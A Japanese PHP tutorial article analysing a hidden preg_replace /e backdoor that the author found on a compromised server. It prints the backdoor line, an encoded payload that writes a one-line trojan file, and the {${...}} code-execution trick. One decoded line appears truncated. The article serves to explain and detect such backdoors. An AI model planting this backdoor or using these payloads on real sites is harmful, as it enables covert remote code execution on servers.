ホームページ  >  記事  >  バックエンド開発  >  preg_replace の隠しバックドアとその後の Exploration_PHP チュートリアル

preg_replace の隠しバックドアとその後の Exploration_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:10:541099ブラウズ

PHP バックドアはたくさんあり、Baozi はそれらをよく見て遊んできましたが、友人がサーバーをチェックするのを手伝ったときに、そのような悪意のあるコードを見つけました。

問題は次のようなものです。友人の Web サイトでバックドアを見つけるためにさまざまなツールを使用しましたが、PHP トロイの木馬は見つかりませんでした。シャオヘイの技は毎回とても高度です

バックドアは使用後必ず削除していますが、毎回入ってくることはできますが、どこから入ってきたのかわかりません。これは本当に痛いです。

その後、分析を通じて、最終的にログからいくつかの手がかりを見つけました。IP が常に特定のファイルに奇妙なデータを投稿していることがわかりました。それでは一段落

しばらくすると、この IP は不可解なファイルにアクセスしました。その名前は明らかに通常のシステム ファイルではなく、PHP バックドアでした。でも、使用するとすぐにバックドアが消えてしまいます

削除されました。

はは、シャオヘイは私に会うととても気配りがあります。

その後、分析により、Xiaohei がアクセスしたファイル検出コードが判明しました:

コードは次のとおりです コードをコピー

@preg_replace("//e",$_POST['IN_COMSENZ'],"アクセスが拒否されました");

このコードが見えても問題ありませんが、これは Xiaohei によって隠された悪意のあるコードとバックドアです。非表示、基本的に何でも

ウイルス対策ソフトウェアはそれを検出できません。

preg_replace関数プロトタイプ:

mixed preg_replace (混合パターン、混合置換、混合主語 [, int 制限])

特別な指示:

/e 修飾子により、 preg_replace() は置換引数を PHP コードとして処理します (適切な後方参照が置換された後)。ヒント: 必ず確認してください

置換は有効な PHP コード文字列を形成します。それ以外の場合、PHP は preg_replace() を含む行で構文解析エラーを報告します

違います。

上記のコードはデータを受け取るための POST のためのもので、データを取得するために GET に置き換える場合はさらに面倒です。 。 。

例:

コードは次のとおりです コードをコピー

echo preg_replace("/test/e",$_GET["h"],"justst test");

?h=phpinfo() を送信すると、phpinfo() が実行されます (/e 修飾子を使用すると、preg_replace は置換パラメーターを PHP として扱います

)

コードの実行)。

POST したい場合、次のコードをテストして送信するとどうなりますか?

コードは次のとおりです コードをコピー


?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112)。 chr(101).chr

(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46)。 chr(112).chr(104).chr

(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60)。 chr(63).chr(112).chr

(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95)。 chr(80).chr(79).chr

(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62)。 chr(39).chr(41).chr(59))

暗号文に対応する平文は次のとおりです:

コードは次のとおりです コードをコピー

fputs(fopen(data/a.php,w),);

実行の結果、/data/ ディレクトリに 1 文のトロイの木馬ファイル a.php が生成されます。

これは恐ろしいですね。 。 。 。

別の難しい例:

コードの印刷を表示しますか?

コードは次のとおりです コードをコピー

関数テスト($str)

{

}

echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]);

?>

?h=[php]phpinfo()[/php]を送信すると、phpinfo()が実行されますか?

絶対に違います。通常のマッチングの後、置換パラメータは「test("phpinfo")」となり、現時点では phpinfo は文字列パラメータとしてのみ使用されるためです

数えました。

それを実行する方法はありますか?

もちろんです。ここで ?h=[php]{${phpinfo()}}[/php] を送信すると phpinfo() が実行されます。なぜですか?

PHP では、二重引用符で囲まれた変数がある場合、PHP インタープリターはそれを変数の解釈の結果に置き換えます。一重引用符で囲まれた変数は処理されません。

注: 二重引用符で囲まれた関数は実行されず、置換されません。

ここでは、関数の実行を許可する効果を得るために、{${}} を介して特別な変数 'test("{${phpinfo()}}")' を構築する必要があります

(${phpinfo()} が解釈されて実行されます)。

最初に次のテストを実行できます:

echo "{${phpinfo()}}"; phpinfo は正常に実行されます。

そのため、バックドアを探すときは注意してください。

さて、ここまで述べて理解したところで、上に示したコードは次のとおりです:

コードは次のとおりですコードをコピー
1 @preg_replace("//e",$_POST['IN_COMSENZ'],"アクセスが拒否されました");

一見普通のコードですが、実は非常に危険なコードであり、隠されています

http://www.bkjia.com/PHPjc/629643.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/629643.html技術記事 PHP バックドアは数多くあり、Baozi も何度もそれらを見て遊んできましたが、友人のサーバー チェックを手伝ったときに、そのような悪意のあるコードを発見しました。 これが私の友人のウェブサイトです...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。